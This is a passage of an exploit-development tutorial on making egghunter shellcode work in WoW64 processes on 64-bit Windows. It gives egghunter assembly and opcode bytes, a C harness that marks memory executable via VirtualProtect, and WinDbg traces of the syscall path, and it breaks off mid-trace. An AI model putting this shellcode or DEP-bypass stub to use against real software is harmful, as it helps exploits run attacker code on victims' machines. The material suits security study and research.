Please consider donating: https://www.corelan.be/index.php/donate/


22,263 views

WoW64 Egghunter

Traditional Egghunter

An Egghunter is nothing more than an assembly routine to find shellcode somewhere in memory. We typically deploy an Egghunter when there is no more room in our buffer that we can use to initially redirect EIP to. If we are able to load our shellcode elsewhere in process memory, the Egghunter will search for it, and jump to it.

There are 2 major objectives for an Egghunter:

  • It has to find our shellcode in memory and run it (pretty obvious)
  • It needs to be able to survive reading memory locations that are not readable.

 

Peter wrote a great tutorial covering Egghunter’s from top to bottom.

Today I will particularly focus on Skape’s original Egghunter which checks an area in memory to see if it’s readable by issuing a system call, returning an error code reflecting the access level of the address that was passed as one of the arguments to the system call, and then comparing the outcome in the Egghunter itself through some conditional jumps. If you are familiar (or have read Peter’s tutorial), you should recognize this few lines of assembly :

6681CAFF0F  or dx,0x0fff   ; get last address in page
42          inc edx        ; acts as a counter
                           ;(increments the value in EDX)
52          push edx       ; pushes edx value to the  stack
                           ;(saves our current address on the stack)
6A43        push byte +0x2 ; push 0x2 for NtAccessCheckAndAuditAlarm
                           ; or 0x43 for NtDisplayString to stack
58          pop eax        ; pop 0x2 or 0x43 into eax
                           ; so it can be used as parameter
                           ; to syscall - see next
CD2E        int 0x2e       ; tell the kernel i want a do a
                           ; syscall using previous register
3C05        cmp al,0x5     ; check if access violation occurs
                           ;(0xc0000005== ACCESS_VIOLATION) 5
5A          pop edx        ; restore edx
74EF        je xxxx        ; jmp back to start dx 0x0fffff
B890509050  mov eax,0x50905090 ; this is the tag (egg)
8BFA        mov edi,edx    ; set edi to our pointer
AF          scasd          ; compare for status
75EA        jnz xxxxxx     ; (back to inc edx) check egg found or not
AF          scasd          ; when egg has been found
75E7        jnz xxxxx      ; (jump back to "inc edx")
                           ; if only the first egg was found
FFE7        jmp edi

morepics14

Before issuing the interrupt call, you notice that we put 0x2 into EAX which is the desired system call number associated with NtAccessCheckAndAuditAlarm.

Then we use int 2e, which is a software interrupt that triggers a switch from user mode to kernel mode (to invoke syscalls). If we take a look at the system call stub, we have the option to call NtAccessCheckAndAuditAlarm via either int 2e or sysenter.  The latter may require a bit more work, but technically it would work.

Much has been said and done around egghunters already, and variations on egghunters (such as omelet hunters), no need to repeat that.  But in todays environments, we can ask ourselves a few questions.

These questions essentially are:

  • What about running 32 bit applications on 64 bit systems? Will our Egghunter work?
  • What is so special about that environment ?
  • Why would we even bother about 32bit applications on a 64bit version of the windows operating system?

Well, the last question can be answered very easily. Increasingly more people are using 64bit of the Windows operating system.  New computers usually get delivered with a 64bit version of Windows 7, but the reality is that in most cases, the majority of the applications people install and use are still 32bit versions.

Exploits for that environment are no different than the ones running on a 32bit version of the Windows operating system.  You may have to deal with DEP in certain cases, but that is not a result of 64bit as such. Just keep in mind that these 32 bit applications run inside an additional layer called WoW64.

Answering the other questions requires a little bit more work.

 

Research Time!

There is a good article on Wikipedia explaining WoW64 system and on MSDN.

From MSDN:

At startup, Wow64.dll loads the x86 version of Ntdll.dll and runs its initialization code, which loads all necessary 32-bit DLLs. Almost all 32-bit DLLs are unmodified copies of 32-bit Windows binaries. However, some of these DLLs are written to behave differently on WOW64 than they do on 32-bit Windows, usually because they share memory with 64-bit system components.

So to test this out I am going to use our existing Egghunter, run it inside a 32bit process on a 64bit operating system and see what the issues are going to be.

We can create a small program and compile it with a 32 bit compiler and run it on our 64 bit host. For this example this C program will bypass DEP using a call to VirtualProtect and run the standard 32 bit Egghunter bytes. (The DEP bypass is only needed if you have DEP enabled in OptOut or AlwaysOn mode, which is the case on my Windows 7 64bit test machine… in any case, it doesn’t do any harm or change anything to the egghunter itself)

The ‘shellcode’ used is just a placeholder. It contains the double tag used for the egghunter to locate the shellcode in memory, followed by 4 simple instructions and a breakpoint.

In order to prevent that we are going to use the egghunter to find it, and not just slide through and execute the shellcode placed after the egghunter on the stack, we have put some breakpoints before the double tag.

#include 
#include 
#include 

using namespace std;

char code[]=

//32 bit tradional egghunter 
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x77\x30\x30\x74" //w00t 
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

//SC PAYLOAD 
"\xcc\xcc\xcc\xcc\x77\x30\x30\x74"
"\x77\x30\x30\x74\x41\x42\x43\x44\xcc"; 

int main(int argc, char **argv)
{
  DWORD old;
  VirtualProtect(&code, 500, PAGE_EXECUTE_READWRITE, &old);
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

 

Compile the application, but don’t run it yet.

Launch the 64bit version of Windbg, and open the newly created executable in WinDbg .

By the way : To install WinDbg and retrieve all the symbols go here.

If we do a dump on our loaded modules we can see the WoW64 dynamic linked libraries it uses.

ModLoad: 00000000`00400000 00000000`00449000   image00000000`00400000
ModLoad: 00000000`77910000 00000000`77ab9000   ntdll.dll
ModLoad: 00000000`77af0000 00000000`77c70000   ntdll32.dll
ModLoad: 00000000`75130000 00000000`7516f000   C:\Windows\SYSTEM32\wow64.dll
ModLoad: 00000000`750d0000 00000000`7512c000   C:\Windows\SYSTEM32\wow64win.dll
ModLoad: 00000000`750c0000 00000000`750c8000   C:\Windows\SYSTEM32\wow64cpu.dll
0:000> g
ModLoad: 00000000`77440000 00000000`7755f000   WOW64_IMAGE_SECTION
ModLoad: 00000000`766e0000 00000000`767f0000   WOW64_IMAGE_SECTION
ModLoad: 00000000`77440000 00000000`7755f000   NOT_AN_IMAGE
ModLoad: 00000000`776b0000 00000000`777aa000   NOT_AN_IMAGE
ModLoad: 00000000`766e0000 00000000`767f0000   C:\Windows\syswow64\kernel32.dll
ModLoad: 00000000`77080000 00000000`770c6000   C:\Windows\syswow64\KERNELBASE.dll
ModLoad: 00000000`73d20000 00000000`73d54000   C:\Program Files\AVAST Software\Avast\snxhk.dll
ModLoad: 00000000`768c0000 00000000`7696c000   C:\Windows\syswow64\msvcrt.dll
0:000:x86> lm
start             end                 module name
00400000 00449000   image00000000_00400000   (deferred)
73d20000 73d54000   snxhk      (deferred)
750c0000 750c8000   wow64cpu   (deferred)
750d0000 7512c000   wow64win   (deferred)
75130000 7516f000   wow64      (deferred)
766e0000 767f0000   kernel32   (deferred)
768c0000 7696c000   msvcrt     (deferred)
77080000 770c6000   KERNELBASE   (deferred)
77910000 77ab9000   ntdll      (export symbols)       C:\Windows\SYSTEM32\ntdll.dll
77af0000 77c70000   ntdll32    (export symbols)       ntdll32.dll

We go ahead and set a break point at the beginning of our Egghunter bytes.

On my PC this address is 0x43f000.

Run the application, which should hit the breakpoint you just set.

Now, when stepping through our code, we see an access violation :

win2

Lets go ahead and analyze what’s going on

win3

It looks like the command ‘int 2e’ is not able to be passed in our WoW64 environment. In short, this means that ‘int 2e’ doesn’t seem to work the way it did in a purely 32bit environment.  That’s a bummer, because we need the syscall to determine if a page is readable before trying to read it.  If we can’t do that, the egghunter would die as soon as it tries to read from a non-readable memory location.

So how exactly are system calls processed in Wow64? There must be a way to be able to call NtAccessCheckAndAuditAlarm in the WoW64 environment? I bet you are asking yourself the same questions I just raised.

I decided to search Google and found some pretty handy resources:

On a 64 bit system running a 32 bit compiled application, we see that instead of calling a system call stub to our system calls, we appear to be calling an offset located in TEB, 0xC0 (call dword fs:[C0]).

morepics23

If we look at TEB 0x0C we see “WOW32 Reserved”. If we then point to that call and execute we the see the bytes at TEB 0x0C is a jump.

morepics2

 

0:000:x86> u wow64cpu!X86SwitchTo64BitMode
wow64cpu!X86SwitchTo64BitMode:
74952320 ea1e2795743300  jmp     0033:7495271E

We are doing a far jump and we are going to jump into 64bit mode.


 

Time to create a new Egghunter

Right. So we know the classic Egghunter is not working, but we are starting to see how system calls can be issued in a WoW64 bit environment.

After all, we need the system call to be able to survive access violations when the Egghunter is running.

Let’s go ahead and make a basic Egghunter based on our call setup into wow64cpu!X86SwitchTo64BitMode:

0:000:x86> u ntdll32!NtAccessCheckAndAuditAlarm
ntdll32!NtAccessCheckAndAuditAlarm:
7715fc58 b826000000      mov     eax,26h
7715fc5d 33c9            xor     ecx,ecx
7715fc5f 8d542404        lea     edx,[esp+4]
7715fc63 64ff15c0000000  call    dword ptr fs:[0C0h]
7715fc6a 83c404          add     esp,4
7715fc6d c22c00          ret     2Ch

This will be our skeleton Egghunter:

[BITS 32]

egg: 

        OR DX,0x0FFF
        INC EDX
        PUSH EDX
        PUSH BYTE 38            ;NtAccessCheckAndAuditAlarm
        POP EAX
        XOR ECX,ECX
        MOV EDX,ESP             ;begin reading parameters off the stack
        CALL DWORD [FS:0xc0]
        POP ESI                 ;clear call off stack
        POP EDX                 ;pop search value back into edx
        CMP AL,5
        JE egg
        MOV EAX, 0x74303077
        MOV EDI,EDX
        SCASD
        JNZ  egg + 5
        SCASD
        JNZ egg + 5
        JMP EDI

If we run that through nasm our shellcode bytes will be:

\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x26\x58\x31\xC9\x89\xE2
\x64\xFF\x15\xC0\x00\x00\x00\x5E\x5A\x3C\x05\x74\xE5\xB8
\x77\x30\x30\x74\x89\xD7\xAF\x75\xE0\xAF\x75\xDD\xFF\xE7

Right off the bat we have an issue, we have null bytes. Well, it’s not a technical issue, but as null bytes are often dealbreakers in exploits, ideally we should try to prevent them.

We can deal with that later and lets go ahead and run this.

When running the new code, at first I received an access violation. I decided to ignore it and to continue tracing through.

The below screen shot is of a log capture in Immunity after changing the Debugging Options and under Exceptions and selecting ‘Add last exception’ to ignore.

immunity13

Take a look at the addresses mentioned in the Immunity Log….  This is not good – it looks like we are not properly reading memory in a sequential way.

It appears that other parameters on the stack are being passed into our call and causing our code to break when we are trying to read a valid address (more on that later).

Let’s start off with our first exception when we run the same code through 64 bit WinDbg.

wow64!whNtAccessCheckAndAuditAlarm+0xc9:
00000000`75145d71 418b4004        mov     eax,dword ptr [r8+4] ds:00000000`000001f8=????????

If we break down wow64!whNtAccessCheckAndAuditAlarm we can see what’s going on:

wow64!whNtAccessCheckAndAuditAlarm:
00000000`75145ca8 4c8bdc          mov     r11,rsp
00000000`75145cab 49895b10        mov     qword ptr [r11+10h],rbx
00000000`75145caf 49897318        mov     qword ptr [r11+18h],rsi
00000000`75145cb3 57              push    rdi
00000000`75145cb4 4154            push    r12
00000000`75145cb6 4155            push    r13
00000000`75145cb8 4156            push    r14
00000000`75145cba 4157            push    r15
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x14:
00000000`75145cbc 4881ecb0000000  sub     rsp,0B0h
00000000`75145cc3 488b0536340200  mov     rax,qword ptr [wow64!_security_cookie (00000000`75169100)]
00000000`75145cca 4833c4          xor     rax,rsp
00000000`75145ccd 48898424a0000000 mov     qword ptr [rsp+0A0h],rax
00000000`75145cd5 448b4904        mov     r9d,dword ptr [rcx+4]
00000000`75145cd9 8b5108          mov     edx,dword ptr [rcx+8]
00000000`75145cdc 448b410c        mov     r8d,dword ptr [rcx+0Ch]
00000000`75145ce0 448b5110        mov     r10d,dword ptr [rcx+10h]
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x3c:
00000000`75145ce4 448b6914        mov     r13d,dword ptr [rcx+14h]
00000000`75145ce8 448b7118        mov     r14d,dword ptr [rcx+18h]
00000000`75145cec 448a791c        mov     r15b,byte ptr [rcx+1Ch]
00000000`75145cf0 8b4120          mov     eax,dword ptr [rcx+20h]
00000000`75145cf3 89442468        mov     dword ptr [rsp+68h],eax
00000000`75145cf7 8b4124          mov     eax,dword ptr [rcx+24h]
00000000`75145cfa 89442464        mov     dword ptr [rsp+64h],eax
00000000`75145cfe 8b4128          mov     eax,dword ptr [rcx+28h]
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x59:
00000000`75145d01 89442460        mov     dword ptr [rsp+60h],eax
00000000`75145d05 33db            xor ebx,ebx
00000000`75145d07 3919            cmp dword ptr [rcx],ebx
00000000`75145d09 7420            je wow64!whNtAccessCheckAndAuditAlarm+0x83 (00000000`75145d2b)
00000000`75145d0b 498d7398        lea     rsi,[r11-68h]
00000000`75145d0f 8b09            mov     ecx,dword ptr [rcx]
00000000`75145d11 8b4104          mov     eax,dword ptr [rcx+4]
00000000`75145d14 498943a0        mov     qword ptr [r11-60h],rax
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x70:
00000000`75145d18 0fb74102        movzx   eax,word ptr [rcx+2]
00000000`75145d1c 6689442472      mov     word ptr [rsp+72h],ax
00000000`75145d21 0fb701          movzx   eax,word ptr [rcx]
00000000`75145d24 6689442470      mov     word ptr [rsp+70h],ax
00000000`75145d29 eb03            jmp     wow64!whNtAccessCheckAndAuditAlarm+0x86 (00000000`75145d2e)
00000000`75145d2b 488bf3          mov     rsi,rbx
00000000`75145d2e 4d8be1          mov     r12,r9
00000000`75145d31 3bd3            cmp edx,ebx
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x8b:
00000000`75145d33 742c            je wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75145d61)
00000000`75145d35 488dbc2480000000lea rdi,[rsp+80h]
00000000`75145d3d 8b4204          mov eax,dword ptr [rdx+4]
00000000`75145d40 4889842488000000mov qword ptr [rsp+88h],rax
00000000`75145d48 0fb74202        movzx eax,word ptr [rdx+2]
00000000`75145d4c 6689842482000000mov word ptr [rsp+82h],ax
00000000`75145d54 0fb702          movzx eax,word ptr [rdx]
00000000`75145d57 6689842480000000mov word ptr [rsp+80h],ax
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xb7:
00000000`75145d5f eb03            jmp wow64!whNtAccessCheckAndAuditAlarm+0xbc (00000000`75145d64)
00000000`75145d61 488bfb          mov     rdi,rbx
00000000`75145d64 443bc3          cmp r8d,ebx
00000000`75145d67 742d            je wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75145d96)
00000000`75145d69 488d9c2490000000 lea     rbx,[rsp+90h]
00000000`75145d71 418b4004        mov eax,dword ptr [r8+4]
00000000`75145d75 4889842498000000 mov     qword ptr [rsp+98h],rax
00000000`75145d7d 410fb74002      movzx   eax,word ptr [r8+2]
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xda:
00000000`75145d82 6689842492000000 mov     word ptr [rsp+92h],ax
00000000`75145d8a 410fb700        movzx   eax,word ptr [r8]
00000000`75145d8e 6689842490000000 mov     word ptr [rsp+90h],ax
00000000`75145d96 498bca          mov     rcx,r10
00000000`75145d99 e87251ffff      call    wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00000000`7513af10)
00000000`75145d9e 488bd0          mov     rdx,rax
00000000`75145da1 8b442468        mov     eax,dword ptr [rsp+68h]
00000000`75145da5 448b5c2464      mov     r11d,dword ptr [rsp+64h]

In green we have instructions/conditions that will be used to check in memory if the address is readable or not in wow64!whNtAccessCheckAndAuditAlarm.

Our first comparison inside wow64!whNtAccessCheckAndAuditAlarm will set EBX to 0 (EBX will also be used for the other comparisons later in the function) and then compare it to the values located in [RCX]. [RCX] will contain the address of the top of the stack frame. This is when we set EDX to ESP during our Egghunter stub when we switched to WoW64. This top stack address will contain the pointer to the address we want to validate whether it’s “readable” or not, and to determine if our egghunter should start looking in that page of memory, or move onto the next page. This also means that [RCX + offset] will also contain other pointers picked up from the stack which we will have to deal with later since they are also evaluated in this function and used as parameters. The values at [RCX +offset] will eventually be moved into different registers, and various condition checks will be done. Since we control all these values, we can control all the conditions.

So recapping the first parameter read from [RCX] will be our “check whether address exists or not”, and we don’t want to change this parameter. The other parameters are not needed for us to successfully execute our egghunter, and we will need to modify them before passing them to wow64!whNtAccessCheckAndAuditAlarm, more on that in a bit.

Let’s look at our stack parameters in EDX before our far jump, and then trace where we will then setup those same parameters in wow64!whNtAccessCheckAndAuditAlarm.Then we can find out what values to put in them to influence the condition we want meet, and to eventually get to our system call.

0:000:x86>  r
eax=00000026 ebx=00004000 ecx=00000000 edx=0028ff08 esi=00000000 edi=00000000
eip=0043f00e esp=0028ff08 ebp=0028ff48 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
image00000000_00400000+0x3f00e:
0043f00e 64ff15c0000000  call    dword ptr fs:[0C0h]  fs:0053:000000c0=00000000
0:000:x86> dds esp
0028ff08  0008f000
0028ff0c  004013ec image00000000_00400000+0x13ec
0028ff10  0043f000 image00000000_00400000+0x3f000
0028ff14  000001f4
0028ff18  00000040
0028ff1c  0028ff44
0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm+0x31
wow64!whNtAccessCheckAndAuditAlarm+0x31:
00000000`75145cd9 8b5108          mov edx,dword ptr [rcx+8] ds:00000000`0028ff10=0043f000
0:000> t
wow64!whNtAccessCheckAndAuditAlarm+0x34:
00000000`75145cdc 448b410c        mov r8d,dword ptr [rcx+0Ch] ds:00000000`0028ff14=000001f4

Notice that EBX and RCX points to the top of our stack before doing our far jump.

0:000> t
wow64!whNtAccessCheckAndAuditAlarm+0x38:
00000000`75145ce0 448b5110        mov     r10d,dword ptr [rcx+10h] ds:00000000`0028ff18=00000040
0:000> r
rax=000000007459d16e rbx=000000000028ff08 rcx=000000000028ff08
rdx=000000000043f000 rsi=000000007efdb000 rdi=000000007efdd000
rip=0000000075145ce0 rsp=000000000008e270 rbp=000000000028ff48
r8=00000000000001f4  r9=00000000004013ec r10=000000007516aa00
r11=000000000008e348 r12=0000000075145ca8 r13=000000000008fd20
r14=000000000008ec80 r15=00000000750c2450
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
wow64!whNtAccessCheckAndAuditAlarm+0x38:
00000000`75145ce0 448b5110        mov     r10d,dword ptr [rcx+10h] ds:00000000`0028ff18=00000040
0:000> dds rcx
00000000`0028ff08  0008f000
00000000`0028ff0c  004013ec image00000000_00400000+0x13ec
00000000`0028ff10  0043f000 image00000000_00400000+0x3f000
00000000`0028ff14  000001f4
00000000`0028ff18  00000040
00000000`0028ff1c  0028ff44

Once we step through once more we will have loaded our two conditional registers that will be tested with EBX once it’s zeroed (see in green above).

So what if we were able to manipulate these conditional tests since we control the parameters being passed onto the stack?

To do this lets just edit our second conditional test “cmp edx,ebx”. We will rerun the program and before our far jump we will change the data at location 0x0028ff10

0:000:x86> g 0043f00e
image00000000_00400000+0x3f00e:
0043f00e 64ff15c0000000  call    dword ptr fs:[0C0h]  fs:0053:000000c0=00000000
0:000:x86> ed 0028ff10 00000000
0:000:x86> dds esp
0028ff08  0008f000
0028ff0c  004013ec image00000000_00400000+0x13ec
0028ff10  00000000
0028ff14  000001f4
0028ff18  00000040
0028ff1c  0028ff44
0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm+0x89
wow64!whNtAccessCheckAndAuditAlarm+0x89:
00000000`75145d31 3bd3            cmp     edx,ebx
0:000> t
wow64!whNtAccessCheckAndAuditAlarm+0x8b:
00000000`75145d33 742c            je      wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75145d61) [br=1]

This time our condition is true so we will jump over the blue code (see above) I highlighted before. However our third condition is not met and we receive our same error as before, but we were able to control some of the flow of execution in that function and ended up jumping from wow64!whNtAccessCheckAndAuditAlarm+0x8b to wow64!whNtAccessCheckAndAuditAlarm+0xb9.

wow64!whNtAccessCheckAndAuditAlarm+0x8b:
00000000`75435d33 742c            je      wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75435d61) [br=1]
0:000> t
wow64!whNtAccessCheckAndAuditAlarm+0xb9:
00000000`75435d61 488bfb          mov     rdi,rbx
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xbc:
00000000`75435d64 443bc3          cmp     r8d,ebx
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xbf:
00000000`75435d67 742d            je      wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75435d96) [br=0]
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xc1:
00000000`75435d69 488d9c2490000000 lea     rbx,[rsp+90h]
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xc9:
00000000`75435d71 418b4004        mov     eax,dword ptr [r8+4] ds:00000000`000001f8=????????
0:000>
(1218.130c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled

Looking back at our original problem it seems will need to take care of both these stack arguments for our conditional jumps.

00000000`75435cd9 8b5108          mov     edx,dword ptr [rcx+8]
00000000`75435cdc 448b410c        mov     r8d,dword ptr [rcx+0Ch]

Lets try it again setting doing both those stack arguments to zero and see how that plays out.

0:000:x86> t
image00000000_00400000+0x3f00e:
0043f00e 64ff15c0000000  call    dword ptr fs:[0C0h]  fs:0053:000000c0=00000000
0:000:x86> ed 0028ff10 00000000
0:000:x86> ed 0028ff14 00000000
0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm+0x89
wow64!whNtAccessCheckAndAuditAlarm+0x89:
00000000`75145d31 3bd3            cmp     edx,ebx
0:000> t
wow64!whNtAccessCheckAndAuditAlarm+0x8b:
00000000`75145d33 742c            je      wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75145d61) [br=1]
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xb9:
00000000`75145d61 488bfb          mov     rdi,rbx
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xbc:
00000000`75145d64 443bc3          cmp     r8d,ebx
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xbf:
00000000`75145d67 742d            je      wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75145d96) [br=1]
0:000> t
wow64!whNtAccessCheckAndAuditAlarm+0xee:
00000000`75145d96 498bca          mov rcx,r10
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xf1:
00000000`75145d99 e87251ffff      call    wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00000000`7513af10)
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC:
00000000`7513af10 4053            push    rbx
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x2:
00000000`7513af12 4883ec20        sub     rsp,20h
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x6:
00000000`7513af16 488bd9          mov     rbx,rcx
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9:
00000000`7513af19 4885c9          test rcx,rcx
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xc:
00000000`7513af1c 7507            jne wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x15 (00000000`7513af25) [br=1]
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x15:
00000000`7513af25 b800800000      mov     eax,8000h
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x1a:
00000000`7513af2a 66854102        test    word ptr [rcx+2],ax ds:00000000`00000042=????

So we are now moving closer and we get to Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC which is our last setup before getting to our actual system call. It looks like there is one more parameter we need to control, R10.

To wrap it up we need to control 3 parameters on the stack, which will be used in the system call. The simplest way is to null them out or push 0 onto the stack. While this is not the most elegant approach, it’s a quick solve to our issue.

I’ll just use the built-in debugger memory edit to change the values on the stack for now.

0028ff08  0008f000 (our parameter we want to read if the address is readable or not)
0028ff0c  004013ec R9,(doesn’t appear to be affected whether readable or non-readable address is used, easier to push null to setup other params below)
0028ff10  0043f000 EDX,(if null condition will be true with EBX)
0028ff14  000001f4 R8, (if null condition will be true with EBX)
0028ff18  00000040 R10,(if null condition will be false on test rcx,rcx)

0:000:x86> ed 0028ff0c 00000000
0:000:x86> ed 0028ff10 00000000
0:000:x86> ed 0028ff14 00000000
0:000:x86> ed 0028ff18 00000000
0:000:x86> dds esp
0028ff08  0008f000
0028ff0c  00000000
0028ff10  00000000
0028ff14  00000000
0028ff18  00000000
wow64!whNtAccessCheckAndAuditAlarm+0x2d:
00000000`74965cd5 448b4904        mov     r9d,dword ptr [rcx+4] ds:00000000`0028ff0c=00000000
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x31:
00000000`74965cd9 8b5108          mov     edx,dword ptr [rcx+8] ds:00000000`0028ff10=00000000
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x34:
00000000`74965cdc 448b410c        mov     r8d,dword ptr [rcx+0Ch] ds:00000000`0028ff14=00000000
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x38:
00000000`74965ce0 448b5110        mov     r10d,dword ptr [rcx+10h] ds:00000000`0028ff18=00000000

Let’s go ahead and rerun everything after changing our stack parameters

0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm+0x89
wow64!whNtAccessCheckAndAuditAlarm+0x89:
00000000`75435d31 3bd3            cmp edx,ebx
0:000> t
wow64!whNtAccessCheckAndAuditAlarm+0x8b:
00000000`75435d33 742c            je wow64!whNtAccessCheckAndAuditAlarm+0xb9 (00000000`75435d61) [br=1]
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xb9:
00000000`75435d61 488bfb          mov     rdi,rbx
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xbc:
00000000`75435d64 443bc3          cmp r8d,ebx
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xbf:
00000000`75435d67 742d            je wow64!whNtAccessCheckAndAuditAlarm+0xee (00000000`75435d96) [br=1]
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xee:
00000000`75435d96 498bca          mov rcx,r10
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xf1:
00000000`75435d99 e87251ffff      call    wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00000000`7542af10)
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC:
00000000`7542af10 4053            push    rbx
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x2:
00000000`7542af12 4883ec20        sub     rsp,20h
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x6:
00000000`7542af16 488bd9          mov     rbx,rcx
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9:
00000000`7542af19 4885c9          test rcx,rcx
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xc:
00000000`7542af1c 7507            jne wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x15 (00000000`7542af25) [br=0]
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xe:
00000000`7542af1e 33c0            xor     eax,eax
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x10:
00000000`7542af20 e986000000      jmp     wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9b (00000000`7542afab)
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9b:
00000000`7542afab 4883c420        add     rsp,20h
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x9f:
00000000`7542afaf 5b              pop     rbx
0:000>
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0xa0:
00000000`7542afb0 c3              ret
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xf6:
00000000`75435d9e 488bd0          mov     rdx,rax
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xf9:
00000000`75435da1 8b442468        mov     eax,dword ptr [rsp+68h] ss:00000000`0008e2d8=0028ff70
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0xfd:
00000000`75435da5 448b5c2464      mov     r11d,dword ptr [rsp+64h] ss:00000000`0008e2d4=000000a0
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x102:
00000000`75435daa 448b542460      mov     r10d,dword ptr [rsp+60h] ss:00000000`0008e2d0=00000098
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x107:
00000000`75435daf 4c89542450      mov     qword ptr [rsp+50h],r10 ss:00000000`0008e2c0=0000000077ab04f0
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x10c:
00000000`75435db4 4c895c2448      mov     qword ptr [rsp+48h],r11 ss:00000000`0008e2b8=000000000000008c
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x111:
00000000`75435db9 4889442440      mov     qword ptr [rsp+40h],rax ss:00000000`0008e2b0=0000000077ab04f0
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x116:
00000000`75435dbe 44887c2438      mov     byte ptr [rsp+38h],r15b ss:00000000`0008e2a8=8c
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x11b:
00000000`75435dc3 4c89742430      mov     qword ptr [rsp+30h],r14 ss:00000000`0008e2a0=0000000077ab04f0
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x120:
00000000`75435dc8 44896c2428      mov     dword ptr [rsp+28h],r13d ss:00000000`0008e298=82ac0004
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x125:
00000000`75435dcd 4889542420      mov     qword ptr [rsp+20h],rdx ss:00000000`0008e290=0000000077ab056c
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x12a:
00000000`75435dd2 4c8bcb          mov     r9,rbx
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x12d:
00000000`75435dd5 4c8bc7          mov     r8,rdi
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x130:
00000000`75435dd8 498bd4          mov     rdx,r12
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x133:
00000000`75435ddb 488bce          mov     rcx,rsi
0:000>
wow64!whNtAccessCheckAndAuditAlarm+0x136:
